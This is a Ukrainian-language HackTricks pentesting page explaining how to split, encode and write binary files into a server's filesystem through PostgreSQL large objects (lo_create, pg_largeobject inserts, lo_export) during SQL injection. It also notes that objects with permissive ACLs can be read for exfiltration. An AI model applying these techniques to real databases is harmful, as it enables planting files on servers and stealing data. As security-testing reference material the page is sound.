hacktricks/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

66 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../../../banners/hacktricks-training.md}}
### PostgreSQL Великі Об'єкти
PostgreSQL пропонує структуру, відому як **великі об'єкти**, доступну через таблицю `pg_largeobject`, призначену для зберігання великих типів даних, таких як зображення або PDF-документи. Цей підхід є вигіднішим у порівнянні з функцією `COPY TO`, оскільки він дозволяє **експортувати дані назад до файлової системи**, забезпечуючи точну копію оригінального файлу.
Для **зберігання повного файлу** в цій таблиці, об'єкт повинен бути створений у таблиці `pg_largeobject` (ідентифікований за LOID), після чого дані розбиваються на частини, кожна з яких має розмір 2KB, і вставляються в цей об'єкт. Важливо, щоб ці частини мали точно 2KB в розмірі (з можливим винятком останньої частини), щоб функція експорту працювала правильно.
Щоб **поділити ваші бінарні дані** на частини по 2KB, можна виконати такі команди:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Для кодування кожного файлу в Base64 або Hex можна використовувати такі команди:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Важливо**: При автоматизації цього процесу переконайтеся, що надсилаєте частини по 2 КБ чистих байтів. Файли в шістнадцятковому кодуванні вимагатимуть 4 КБ даних на частину через подвоєння розміру, тоді як файли в кодуванні Base64 слідують формулі `ceil(n / 3) * 4`.
Вміст великих об'єктів можна переглядати для налагодження за допомогою:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### Використання `lo_creat` та Base64
Щоб зберегти бінарні дані, спочатку створюється LOID:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
У ситуаціях, що вимагають точного контролю, таких як експлуатація Blind SQL Injection, `lo_create` віддається перевага для вказівки фіксованого LOID.
Частини даних можна вставити наступним чином:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
Щоб експортувати та потенційно видалити великий об'єкт після використання:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### Використання `lo_import` та Hex
Функція `lo_import` може бути використана для створення та вказівки LOID для великого об'єкта:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Після створення об'єкта дані вставляються по сторінках, забезпечуючи, щоб кожен фрагмент не перевищував 2 КБ:
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
Щоб завершити процес, дані експортуються, а великий об'єкт видаляється:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### Обмеження
Зазначено, що **великі об'єкти можуть мати ACL** (Списки контролю доступу), що потенційно обмежує доступ навіть до об'єктів, створених вашим користувачем. Однак старі об'єкти з ліберальними ACL все ще можуть бути доступні для ексфільтрації вмісту.
{{#include ../../../banners/hacktricks-training.md}}